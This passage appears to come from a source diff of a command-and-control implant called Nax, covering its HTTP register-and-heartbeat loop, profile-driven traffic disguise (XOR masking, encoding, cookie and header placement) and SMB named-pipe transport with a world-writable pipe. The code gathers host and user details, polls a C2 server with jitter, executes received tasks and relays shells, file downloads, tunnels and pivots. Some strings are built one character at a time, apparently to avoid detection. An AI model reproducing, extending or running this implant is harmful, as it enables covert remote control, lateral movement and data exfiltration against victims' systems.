HttpSendResult( Nax, 0, NAX_STATUS_TUNNEL, result, tun_len, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap );
}
/* ========= [ NaxHttpMain - HTTP register + heartbeat loop ] ========= */
FUNC VOID NaxHttpMain( PNAX_INSTANCE Nax ) {
UINT32 IO_CAP = NAX_IO_CAP;
UINT32 RESULT_CAP = NAX_IO_CAP;
UINT32 FRAME_CAP = RESULT_CAP + 256;
PBYTE resp_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, IO_CAP );
PBYTE plain_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, IO_CAP );
PBYTE result_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, RESULT_CAP );
PBYTE frame_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, FRAME_CAP );
PBYTE env_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, FRAME_CAP );
if ( !resp_h || !plain_h || !result_h || !frame_h || !env_h ) return;
/* session id */
BYTE raw[8];
Nax->Bcrypt.BCryptGenRandom( NULL, raw, 8, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
NaxHexEncode( raw, 8, Nax->SessionId );
NaxDbg( Nax, "session: %s", Nax->SessionId );
NaxDbg( Nax, "beacon_id_hdr: %s", Nax->Config.BeaconIdHdr );
/* C2 URL (wide) */
WCHAR c2_url_w[128];
NaxAsciiToWide( Nax->Config.C2Url, c2_url_w, 128 );
/* gather system info */
NAX_SYSINFO info;
NaxGatherSysInfo( Nax, &info );
UINT32 frame_len = FRAME_CAP;
UINT32 env_len = FRAME_CAP;
UINT32 resp_len = IO_CAP;
/* ---- REGISTER retry loop ---- */
for ( ;; ) {
frame_len = FRAME_CAP; env_len = FRAME_CAP; resp_len = IO_CAP;
BYTE reg_body[NAX_REG_BODY_BUF]; UINT32 reg_body_len = NAX_REG_BODY_BUF;
if ( NaxBuildRegBody( info.Hostname, info.HnLen, info.Username, info.UnLen, NAX_ARCH_X64, info.Pid, Nax->Config.SleepMs, info.Tid, info.IpStr, info.IpLen, info.Domain, info.DmLen, info.Procname, info.PnLen, Nax->Elevated, Nax->OsMajor, Nax->OsMinor, Nax->OsBuild, Nax->ParentPid, Nax->Acp, Nax->OemCp, Nax->ImgPath, info.ImLen, reg_body, &reg_body_len ) != NAX_OK ) continue;
if ( NaxFrameEncode( NAX_WIRE_REGISTER, reg_body, reg_body_len, frame_h, &frame_len ) != NAX_OK ) continue;
if ( NaxEncrypt( Nax, frame_h, frame_len, env_h, &env_len ) != NAX_OK ) continue;
BYTE saved_profile = Nax->Config.ProfileLoaded;
WCHAR reg_url[256];
if ( saved_profile && Nax->Config.PostUriCount > 0 ) {
BYTE idx = Nax->Config.PostUriIdx;
PCHAR uri = Nax->Config.PostUris[idx];
Nax->Config.PostUriIdx = NaxRotateIdx( Nax, idx, Nax->Config.PostUriCount );
if ( ! NaxBuildUrl( Nax, c2_url_w, uri, reg_url, 256 ) ) continue;
NaxDbg( Nax, "REGISTER -> uri[%d] %s", (int)idx, uri );
} else {
UINT32 ul = 0; while ( c2_url_w[ul] && ul < 255 ) ul++;
for ( UINT32 c = 0; c < ul; c++ ) reg_url[c] = c2_url_w[c];
reg_url[ul] = L'\0';
NaxDbg( Nax, "REGISTER -> %s", Nax->Config.C2Url );
}
Nax->Config.ProfileLoaded = 0;
INT reg_rc = NaxSend( Nax, reg_url, Nax->SessionId, env_h, env_len, resp_h, &resp_len );
Nax->Config.ProfileLoaded = saved_profile;
NaxDbg( Nax, "REGISTER rc=%d resp=%u", reg_rc, resp_len );
if ( reg_rc != NAX_OK || resp_len == 0 ) {
Nax->Kernel32.Sleep( Nax->Config.SleepMs );
continue;
}
if ( saved_profile && ( Nax->Config.PostServerOutput.Format != NAX_FMT_RAW || Nax->Config.PostServerOutput.Mask || Nax->Config.PostServerOutput.PrependLen > 0 || Nax->Config.PostServerOutput.AppendLen > 0 ) ) {
UINT32 dec_cap = resp_len + 256;
PBYTE dec_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, dec_cap );
if ( dec_buf ) {
UINT32 dec_len = NaxDecodeData( Nax, &Nax->Config.PostServerOutput, resp_h, resp_len, dec_buf, dec_cap );
if ( dec_len > 0 && dec_len <= dec_cap ) {
MmCopy( resp_h, dec_buf, dec_len );
resp_len = dec_len;
}
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf );
}
}
UINT32 prof_plain_len = IO_CAP;
if ( NaxDecrypt( Nax, resp_h, resp_len, plain_h, &prof_plain_len ) != NAX_OK || prof_plain_len < NAX_FRAME_HDR ) {
NaxDbg( Nax, "REGISTER response invalid (decrypt failed)" );
Nax->Kernel32.Sleep( Nax->Config.SleepMs );
continue;
}
BYTE pft = 0; PBYTE pfb = NULL; UINT32 pfbl = 0;
if ( NaxFrameDecode( plain_h, prof_plain_len, &pft, &pfb, &pfbl ) != NAX_OK ) {
NaxDbg( Nax, "REGISTER response invalid (bad frame)" );
Nax->Kernel32.Sleep( Nax->Config.SleepMs );
continue;
}
if ( pft == NAX_WIRE_PROFILE ) {
NaxDbg( Nax, "PROFILE frame received, body=%u bytes", pfbl );
NaxApplyProfile( Nax, pfb, pfbl );
NaxDbg( Nax, "profile v%d loaded: %d GET URIs, %d POST URIs, ua=%s, rotation=%d", Nax->Config.ProfileVersion, Nax->Config.GetUriCount, Nax->Config.PostUriCount, Nax->Config.UserAgent, Nax->Config.Rotation );
if ( Nax->Config.GetUriCount > 0 ) NaxDbg( Nax, " GET[0]=%s", Nax->Config.GetUris[0] );
NaxDbg( Nax, " GET meta: fmt=%d mask=%d place=%d name=%s", Nax->Config.GetClientMeta.Format, Nax->Config.GetClientMeta.Mask, Nax->Config.GetClientMeta.Placement, Nax->Config.GetClientMeta.Name );
NaxDbg( Nax, " GET hdrCount=%d", Nax->Config.GetClientHdrCount );
if ( Nax->Config.GetClientHdrCount > 0 ) NaxDbg( Nax, " GET hdr[0]=%s", Nax->Config.GetClientHdrs[0] );
NaxDbg( Nax, " POST meta: fmt=%d mask=%d place=%d name=%s", Nax->Config.PostClientMeta.Format, Nax->Config.PostClientMeta.Mask, Nax->Config.PostClientMeta.Placement, Nax->Config.PostClientMeta.Name );
NaxDbg( Nax, " POST out: fmt=%d mask=%d place=%d prepLen=%d appLen=%d", Nax->Config.PostClientOutput.Format, Nax->Config.PostClientOutput.Mask, Nax->Config.PostClientOutput.Placement, Nax->Config.PostClientOutput.PrependLen, Nax->Config.PostClientOutput.AppendLen );
if ( Nax->Config.PostUriCount > 0 ) NaxDbg( Nax, " POST[0]=%s", Nax->Config.PostUris[0] );
}
break;
}
NaxDbg( Nax, "REGISTER confirmed" );
BOOL pendingPivotDrain = FALSE;
/* ---- heartbeat loop ---- */
for ( ;; ) {
frame_len = FRAME_CAP;
if ( NaxBuildHeartbeat( frame_h, &frame_len ) != NAX_OK ) continue;
env_len = FRAME_CAP;
if ( NaxEncrypt( Nax, frame_h, frame_len, env_h, &env_len ) != NAX_OK ) continue;
resp_len = IO_CAP;
Nax->DynResp = NULL;
Nax->DynRespLen = 0;
if ( NaxSendHeartbeat( Nax, c2_url_w, Nax->SessionId, env_h, env_len, resp_h, &resp_len ) != NAX_OK ) continue;
PBYTE use_resp = resp_h;
UINT32 use_resp_len = resp_len;
PBYTE dyn_plain = NULL;
if ( Nax->DynResp ) {
use_resp = Nax->DynResp;
use_resp_len = Nax->DynRespLen;
}
if ( use_resp_len == 0 ) {
if ( Nax->DynResp ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->DynResp ); Nax->DynResp = NULL; }
continue;
}
PBYTE use_plain = plain_h;
UINT32 use_plain_cap = IO_CAP;
if ( use_resp_len > IO_CAP ) {
dyn_plain = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, use_resp_len );
if ( !dyn_plain ) {
if ( Nax->DynResp ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->DynResp ); Nax->DynResp = NULL; }
continue;
}
use_plain = dyn_plain;
use_plain_cap = use_resp_len;
}
UINT32 plain_len = use_plain_cap;
if ( NaxDecrypt( Nax, use_resp, use_resp_len, use_plain, &plain_len ) != NAX_OK ) {
if ( dyn_plain ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dyn_plain );
if ( Nax->DynResp ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->DynResp ); Nax->DynResp = NULL; }
continue;
}
if ( Nax->DynResp ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->DynResp );
Nax->DynResp = NULL;
Nax->DynRespLen = 0;
}
/* dispatch tasks */
PBYTE cursor = use_plain;
UINT32 remaining = plain_len;
BOOL hadTasks = FALSE;
while ( remaining >= NAX_FRAME_HDR ) {
BYTE ft = 0; PBYTE fb = NULL; UINT32 fbl = 0;
if ( NaxFrameDecode( cursor, remaining, &ft, &fb, &fbl ) != NAX_OK ) break;
UINT32 step = NAX_FRAME_HDR + fbl;
if ( step > remaining ) break;
cursor += step;
remaining -= step;
if ( ft == NAX_WIRE_NO_TASKS ) break;
if ( ft != NAX_WIRE_TASK ) continue;
NAX_TASK task;
if ( NaxDecodeTask( fb, fbl, &task ) != NAX_OK ) {
NaxDbg( Nax, "[task] decode FAILED fbl=%u", fbl );
continue;
}
NaxDbg( Nax, "[task] cmd=0x%02x id=0x%08x argsLen=%u", task.CmdId, task.TaskId, task.ArgsLen );
hadTasks = TRUE;
UINT32 r_tid = 0;
BYTE r_stat = 0;
UINT32 r_len = RESULT_CAP;
if ( ! NaxDispatch( Nax, &task, &r_tid, &r_stat, result_h, &r_len ) ) {
NaxDbg( Nax, "[task] cmd=0x%02x: no result (exit)", task.CmdId );
continue;
}
NaxDbg( Nax, "[task] cmd=0x%02x done: stat=0x%02x r_len=%u", task.CmdId, r_stat, r_len );
INT rc = HttpSendResult( Nax, r_tid, r_stat, result_h, r_len, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP );
NaxDbg( Nax, "[task] result sent rc=%d", rc );
}
if ( dyn_plain ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dyn_plain );
dyn_plain = NULL;
}
{
NAX_PIVOT* _pv = Nax->PivotHead;
while ( _pv ) {
if ( _pv->Async->DataSent )
pendingPivotDrain = TRUE;
_pv = _pv->Next;
}
}
/* relay pivots, downloads, jobs, tunnels */
if ( Nax->PivotHead )
HttpRelayPivots( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP );
if ( Nax->DownloadHead )
HttpRelayDownloads( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP );
if ( Nax->JobHead )
HttpRelayJobs( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP );
if ( Nax->TunnelHead )
HttpRelayTunnels( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP );
if ( Nax->ShellHead )
HttpRelayShells( Nax, result_h, RESULT_CAP, frame_h, FRAME_CAP, env_h, FRAME_CAP, c2_url_w, resp_h, IO_CAP );
/* Burst: when the server had tasks, re-check immediately so
* follow-up tasks queued during the sleep window are dispatched
* without waiting a full heartbeat cycle. */
if ( hadTasks ) {
NaxDbg( Nax, "[HB] burst: re-checking for tasks" );
continue;
}
UINT32 eff_sleep = NaxEffectiveSleep( Nax );
if ( pendingPivotDrain && Nax->PivotHead ) {
pendingPivotDrain = FALSE;
NaxDbg( Nax, "[HB] pivot drain: fast heartbeat (100 ms)" );
Nax->Kernel32.Sleep( 100 );
continue;
} else {
NaxDbg( Nax, "[HB] sleeping %lu ms (base=%lu jitter=%u%%) Sleep=%p GateOrig=%p Gate=%p",
eff_sleep, Nax->Config.SleepMs, Nax->Config.JitterPct,
(PVOID)Nax->Kernel32.Sleep, Nax->GateOriginals.Sleep, Nax->Gate );
Nax->Kernel32.Sleep( eff_sleep );
}
}
}
+261
View File
@@ -0,0 +1,261 @@
/* beacon/src/Transport/HttpCodec.c
* OutputConfig-driven encode/decode pipeline and request header builder.
* Used by Http.c (NaxHttpGet, NaxHttpPost) to transform data per profile. */
#include "Nax.h"
/* ========= [ OutputConfig encode/decode ] ========= */
FUNC UINT32 NaxEncodeData( PNAX_INSTANCE Nax, const NAX_OUTPUT_CFG* cfg, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) {
PBYTE input = (PBYTE)src;
UINT32 input_len = src_len;
/* mask adds 4 bytes; base64 expands ~4/3; hex expands 2x - size for worst case */
UINT32 mask_cap = src_len + 8;
UINT32 enc_cap = ( mask_cap * 2 ) + 16;
PBYTE work = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, mask_cap + enc_cap );
if ( !work ) return 0;
PBYTE mask_buf = work;
PCHAR enc_buf = (PCHAR)( work + mask_cap );
/* XOR mask */
if ( cfg->Mask ) {
input_len = NaxXorMask( Nax, input, input_len, mask_buf, mask_cap );
if ( input_len == 0 ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work ); return 0; }
input = mask_buf;
}
/* Encode */
UINT32 enc_len = 0;
switch ( cfg->Format ) {
case NAX_FMT_BASE64:
enc_len = NaxBase64Encode( input, input_len, enc_buf, enc_cap );
break;
case NAX_FMT_BASE64URL:
enc_len = NaxBase64UrlEncode( input, input_len, enc_buf, enc_cap );
break;
case NAX_FMT_HEX:
if ( input_len * 2 + 1 > enc_cap ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work ); return 0; }
NaxHexEncode( input, input_len, enc_buf );
enc_len = input_len * 2;
break;
default:
if ( input_len > enc_cap ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work ); return 0; }
MmCopy( enc_buf, input, input_len );
enc_len = input_len;
break;
}
/* Prepend + encoded + append */
UINT32 total = cfg->PrependLen + enc_len + cfg->AppendLen;
if ( total > dst_cap ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work ); return 0; }
UINT32 off = 0;
if ( cfg->PrependLen > 0 ) { MmCopy( dst + off, cfg->Prepend, cfg->PrependLen ); off += cfg->PrependLen; }
MmCopy( dst + off, enc_buf, enc_len ); off += enc_len;
if ( cfg->AppendLen > 0 ) { MmCopy( dst + off, cfg->Append, cfg->AppendLen ); off += cfg->AppendLen; }
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, work );
return off;
}
FUNC UINT32 NaxDecodeData( PNAX_INSTANCE Nax, const NAX_OUTPUT_CFG* cfg, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap ) {
PBYTE data = (PBYTE)src;
UINT32 data_len = src_len;
/* Strip prepend/append */
if ( data_len >= cfg->PrependLen + cfg->AppendLen ) {
data += cfg->PrependLen;
data_len -= cfg->PrependLen + cfg->AppendLen;
}
UINT32 buf_sz = data_len < 4096 ? 4096 : data_len;
PBYTE dec_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, buf_sz );
if ( !dec_buf ) return 0;
/* Decode format */
UINT32 dec_len = 0;
switch ( cfg->Format ) {
case NAX_FMT_BASE64:
case NAX_FMT_BASE64URL:
dec_len = NaxBase64Decode( (PCHAR)data, data_len, dec_buf, buf_sz );
break;
case NAX_FMT_HEX:
dec_len = NaxHexDecode( (PCHAR)data, data_len, dec_buf, buf_sz );
break;
default:
if ( data_len > buf_sz ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf ); return 0; }
MmCopy( dec_buf, data, data_len );
dec_len = data_len;
break;
}
/* XOR unmask */
if ( cfg->Mask && dec_len > 4 ) {
UINT32 r = NaxXorUnmask( dec_buf, dec_len, dst, dst_cap );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf );
return r;
}
if ( dec_len > dst_cap ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf ); return 0; }
MmCopy( dst, dec_buf, dec_len );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf );
return dec_len;
}
/* ========= [ header builder ] ========= */
/* Append CHAR string to WCHAR output buffer. Returns new write index. */
FUNC UINT32 NaxAppendAsciiW( const PCHAR ascii, PWCHAR out, UINT32 wi, UINT32 cap ) {
UINT32 i = 0;
while ( ascii[ i ] && wi < cap - 1 ) { out[ wi++ ] = (WCHAR)(BYTE)ascii[ i++ ]; }
return wi;
}
/* Append CRLF to WCHAR buffer. Returns new write index. */
FUNC UINT32 NaxAppendCRLF( PWCHAR out, UINT32 wi, UINT32 cap ) {
if ( wi + 2 < cap ) { out[ wi++ ] = L'\r'; out[ wi++ ] = L'\n'; }
return wi;
}
/* Build request headers into a WCHAR buffer.
* `hdrs` / `hdr_count` : profile client headers array (e.g. GetClientHdrs)
* `meta_cfg` : OutputConfig for metadata (session ID or encrypted data)
* `meta_encoded` : already-encoded metadata value (CHAR)
* `meta_encoded_len` : length of encoded metadata
* `is_post` : whether this is a POST request (for Content-Type) */
FUNC VOID NaxBuildRequestHeaders( PNAX_INSTANCE Nax, const PCHAR sid, const PCHAR hdr_base, UINT32 hdr_stride, BYTE hdr_count, const NAX_OUTPUT_CFG* meta_cfg, const PCHAR meta_encoded, UINT32 meta_encoded_len, BOOL is_post, PWCHAR out, UINT32 out_cap ) {
UINT32 wi = 0;
/* Beacon ID header - name from profile (default: X-Beacon-Id) */
wi = NaxAppendAsciiW( Nax->Config.BeaconIdHdr, out, wi, out_cap );
if ( wi < out_cap - 1 ) out[ wi++ ] = L':';
if ( wi < out_cap - 1 ) out[ wi++ ] = L' ';
wi = NaxAppendAsciiW( sid, out, wi, out_cap );
wi = NaxAppendCRLF( out, wi, out_cap );
/* Place metadata per OutputConfig placement */
if ( meta_encoded && meta_encoded_len > 0 ) {
switch ( meta_cfg->Placement ) {
case NAX_PLACE_HEADER: {
/* Name: encoded_value\r\n */
wi = NaxAppendAsciiW( meta_cfg->Name, out, wi, out_cap );
if ( wi < out_cap - 1 ) out[ wi++ ] = L':';
if ( wi < out_cap - 1 ) out[ wi++ ] = L' ';
wi = NaxAppendAsciiW( meta_encoded, out, wi, out_cap );
wi = NaxAppendCRLF( out, wi, out_cap );
break;
}
case NAX_PLACE_COOKIE: {
/* Cookie: Name=encoded_value\r\n */
CHAR ck[] = { 'C','o','o','k','i','e',':',' ','\0' };
wi = NaxAppendAsciiW( ck, out, wi, out_cap );
wi = NaxAppendAsciiW( meta_cfg->Name, out, wi, out_cap );
if ( wi < out_cap - 1 ) out[ wi++ ] = L'=';
wi = NaxAppendAsciiW( meta_encoded, out, wi, out_cap );
wi = NaxAppendCRLF( out, wi, out_cap );
break;
}
default:
/* BODY and PARAMETER placements are handled outside headers */
break;
}
}
/* Content-Type for POST body - only when no profile headers (they include their own) */
if ( is_post && hdr_count == 0 ) {
CHAR ct[] = { 'C','o','n','t','e','n','t','-','T','y','p','e',':',' ','a','p','p','l','i','c','a','t','i','o','n','/','o','c','t','e','t','-','s','t','r','e','a','m','\0' };
wi = NaxAppendAsciiW( ct, out, wi, out_cap );
wi = NaxAppendCRLF( out, wi, out_cap );
}
/* Extra headers from profile */
for ( BYTE h = 0; h < hdr_count; h++ ) {
wi = NaxAppendAsciiW( hdr_base + h * hdr_stride, out, wi, out_cap );
wi = NaxAppendCRLF( out, wi, out_cap );
}
CHAR hdr_p[] = { 'X','-','N','a','X','-','P','u','b','l','i','c',':',' ','1','\0' };
wi = NaxAppendAsciiW( hdr_p, out, wi, out_cap );
wi = NaxAppendCRLF( out, wi, out_cap );
out[ wi ] = L'\0';
}
/* ========= [ URL builder helper ] ========= */
FUNC BOOL NaxBuildUrl( PNAX_INSTANCE Nax, const PWCHAR url_w, PCHAR uri, PWCHAR out, UINT32 out_cap ) {
URL_COMPONENTS boot_uc;
MmZero( &boot_uc, sizeof( boot_uc ) );
boot_uc.dwStructSize = sizeof( boot_uc );
WCHAR boot_host[256] = { 0 };
WCHAR boot_path[512] = { 0 };
boot_uc.lpszHostName = boot_host;
boot_uc.dwHostNameLength = 256;
boot_uc.lpszUrlPath = boot_path;
boot_uc.dwUrlPathLength = 512;
if ( ! Nax->Winhttp.WinHttpCrackUrl( url_w, 0, 0, &boot_uc ) ) return FALSE;
UINT32 ui = 0;
BOOL is_https = ( boot_uc.nScheme == INTERNET_SCHEME_HTTPS );
if ( is_https ) {
CHAR s[] = {'h','t','t','p','s',':','/','/'}; for ( UINT32 c = 0; c < 8; c++ ) out[ui++] = (WCHAR)s[c];
} else {
CHAR s[] = {'h','t','t','p',':','/','/'}; for ( UINT32 c = 0; c < 7; c++ ) out[ui++] = (WCHAR)s[c];
}
for ( UINT32 c = 0; boot_host[c] && ui < out_cap - 16; c++ ) out[ui++] = boot_host[c];
/* Only append :port when it differs from the scheme default (80/443).
* Omitting the default port produces a clean Host header. */
UINT32 port_val = (UINT32)boot_uc.nPort;
UINT32 default_port = is_https ? 443 : 80;
if ( port_val != default_port ) {
out[ui++] = ':';
CHAR port_buf[8]; UINT32 pi = 0;
if ( port_val == 0 ) { port_buf[pi++] = '0'; } else {
CHAR tmp[8]; UINT32 ti = 0;
while ( port_val > 0 ) { tmp[ti++] = '0' + (CHAR)(port_val % 10); port_val /= 10; }
while ( ti > 0 ) port_buf[pi++] = tmp[--ti];
}
for ( UINT32 c = 0; c < pi; c++ ) out[ui++] = (WCHAR)port_buf[c];
}
for ( UINT32 c = 0; uri[c] && ui < out_cap - 2; c++ ) out[ui++] = (WCHAR)uri[c];
out[ui] = L'\0';
return TRUE;
}
/* ========= [ URL path builder with parameter append ] ========= */
/* Append ?name=value to a wide path buffer for PARAMETER placement.
* Also appends static parameters from GetClientParams.
* Returns the final path buffer (caller-supplied path_out). */
FUNC VOID NaxBuildPathWithParams( PWCHAR path_src, PWCHAR path_out, UINT32 path_cap, const NAX_OUTPUT_CFG* meta_cfg, const PCHAR meta_encoded, UINT32 meta_encoded_len, const PCHAR param_base, UINT32 param_stride, BYTE param_count ) {
UINT32 wi = 0;
/* Copy base path */
while ( path_src[ wi ] && wi < path_cap - 256 ) { path_out[ wi ] = path_src[ wi ]; wi++; }
BOOL has_qmark = FALSE;
/* Check if path already contains '?' */
for ( UINT32 c = 0; c < wi; c++ ) {
if ( path_out[ c ] == L'?' ) { has_qmark = TRUE; break; }
}
/* Append metadata as parameter if placement == PARAMETER */
if ( meta_cfg && meta_encoded && meta_encoded_len > 0 && meta_cfg->Placement == NAX_PLACE_PARAMETER ) {
if ( ! has_qmark ) { path_out[ wi++ ] = L'?'; has_qmark = TRUE; }
else { path_out[ wi++ ] = L'&'; }
wi = NaxAppendAsciiW( meta_cfg->Name, path_out, wi, path_cap );
path_out[ wi++ ] = L'=';
wi = NaxAppendAsciiW( meta_encoded, path_out, wi, path_cap );
}
/* Append static parameters: each entry is "name=value" */
for ( BYTE p = 0; p < param_count; p++ ) {
if ( ! has_qmark ) { path_out[ wi++ ] = L'?'; has_qmark = TRUE; }
else { path_out[ wi++ ] = L'&'; }
wi = NaxAppendAsciiW( param_base + p * param_stride, path_out, wi, path_cap );
}
path_out[ wi ] = L'\0';
}
+517
View File
@@ -0,0 +1,517 @@
/* beacon/src/Transport/Smb.c
* Child-side SMB named pipe transport.
* Creates a pipe server, waits for parent to connect, then enters an
* event-driven loop using WaitForMultipleObjects for sleepmask compat.
*
* Build with: make NAX_TRANSPORT_PROFILE=1 */
#include "Nax.h"
#include "Config.h"
#include "Transport.h"
#include "Pipe.h"
/* ========= [ permissive DACL - Everyone RW ] ========= */
FUNC static BOOL SmbBuildPermissiveDacl( PNAX_INSTANCE Nax, PSECURITY_DESCRIPTOR pSD, PACL* ppAcl ) {
if ( ! Nax->Advapi32.InitializeSecurityDescriptor( pSD, SECURITY_DESCRIPTOR_REVISION ) )
return FALSE;
SID_IDENTIFIER_AUTHORITY worldAuth = SECURITY_WORLD_SID_AUTHORITY;
PSID pEveryoneSid = NULL;
if ( ! Nax->Advapi32.AllocateAndInitializeSid( &worldAuth, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSid ) )
return FALSE;
EXPLICIT_ACCESS_A ea;
MmZero( &ea, sizeof( ea ) );
ea.grfAccessPermissions = GENERIC_READ | GENERIC_WRITE;
ea.grfAccessMode = SET_ACCESS;
ea.grfInheritance = NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
ea.Trustee.ptstrName = (LPSTR)pEveryoneSid;
if ( Nax->Advapi32.SetEntriesInAclA( 1, &ea, NULL, ppAcl ) != ERROR_SUCCESS ) {
Nax->Advapi32.FreeSid( pEveryoneSid );
return FALSE;
}
Nax->Advapi32.FreeSid( pEveryoneSid );
if ( ! Nax->Advapi32.SetSecurityDescriptorDacl( pSD, TRUE, *ppAcl, FALSE ) )
return FALSE;
return TRUE;
}
/* ========= [ SMB transport helpers ] ========= */
FUNC static BOOL SmbSendResult( PNAX_INSTANCE Nax, UINT32 tid, BYTE status, const PBYTE data, UINT32 data_len, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) {
UINT32 frame_len = frame_cap;
if ( NaxBuildResult( tid, status, data, data_len, frame, &frame_len ) != NAX_OK ) return TRUE;
UINT32 env_len = env_cap;
if ( NaxEncrypt( Nax, frame, frame_len, env, &env_len ) != NAX_OK ) return TRUE;
return NaxPipeWrite( Nax, hPipe, hWriteEvent, env, env_len );
}
FUNC static BOOL SmbRelayPivots( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent, BOOL* pDataRelayed ) {
UINT32 piv_len = NaxProcessPivots( Nax, result, result_cap );
*pDataRelayed = ( piv_len > 0 );
PBYTE piv_cur = result;
UINT32 piv_rem = piv_len;
while ( piv_rem >= 4 ) {
UINT32 entryLen = *(UINT32*)piv_cur;
if ( entryLen == 0 || 4 + entryLen > piv_rem ) break;
if ( ! SmbSendResult( Nax, 0, NAX_STATUS_OK, piv_cur + 4, entryLen, frame, frame_cap, env, env_cap, hPipe, hWriteEvent ) )
return FALSE;
piv_cur += 4 + entryLen;
piv_rem -= 4 + entryLen;
}
if ( piv_len > 0 )
NaxDbg( Nax, "[pivot] relayed %u bytes of grandchild data", piv_len );
return TRUE;
}
FUNC static BOOL SmbRelayJobs( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) {
UINT32 job_len = NaxProcessJobs( Nax, result, result_cap );
UINT32 joff = 0;
while ( joff + 9 <= job_len ) {
BYTE jtype = result[ joff ];
UINT32 jtid = NaxR32( result + joff + 1 );
UINT32 jdata = NaxR32( result + joff + 5 );
if ( joff + 9 + jdata > job_len ) break;
if ( ! SmbSendResult( Nax, jtid, jtype, result + joff + 9, jdata, frame, frame_cap, env, env_cap, hPipe, hWriteEvent ) )
return FALSE;
joff += 9 + jdata;
}
return TRUE;
}
FUNC static BOOL SmbRelayShells( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) {
UINT32 sh_len = NaxProcessShells( Nax, result, result_cap );
UINT32 soff = 0;
while ( soff + 9 <= sh_len ) {
BYTE stype = result[ soff ];
UINT32 stid = NaxR32( result + soff + 1 );
UINT32 sdata = NaxR32( result + soff + 5 );
if ( soff + 9 + sdata > sh_len ) break;
if ( ! SmbSendResult( Nax, stid, stype, result + soff + 9, sdata, frame, frame_cap, env, env_cap, hPipe, hWriteEvent ) )
return FALSE;
soff += 9 + sdata;
}
return TRUE;
}
FUNC static BOOL SmbRelayDownloads( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) {
UINT32 dl_len = NaxProcessDownloads( Nax, result, result_cap );
UINT32 doff = 0;
while ( doff + 8 <= dl_len ) {
UINT32 tid = NaxR32( result + doff );
UINT32 dlen = NaxR32( result + doff + 4 );
if ( doff + 8 + dlen > dl_len ) break;
if ( ! SmbSendResult( Nax, tid, NAX_STATUS_OK, result + doff + 8, dlen, frame, frame_cap, env, env_cap, hPipe, hWriteEvent ) )
return FALSE;
doff += 8 + dlen;
}
return TRUE;
}
FUNC static BOOL SmbTunnelActive( PNAX_INSTANCE Nax ) {
NAX_TUNNEL* t = Nax->TunnelHead;
while ( t ) {
if ( t->Mode == NAX_TUNNEL_MODE_TCP )
return TRUE;
t = t->Next;
}
return FALSE;
}
FUNC static BOOL SmbRelayTunnels( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent, BOOL* pDataRelayed ) {
UINT32 tun_len = NaxProcessTunnels( Nax, result, result_cap );
*pDataRelayed = ( tun_len > 0 );
if ( tun_len == 0 ) return TRUE;
return SmbSendResult( Nax, 0, NAX_STATUS_TUNNEL, result, tun_len, frame, frame_cap, env, env_cap, hPipe, hWriteEvent );
}
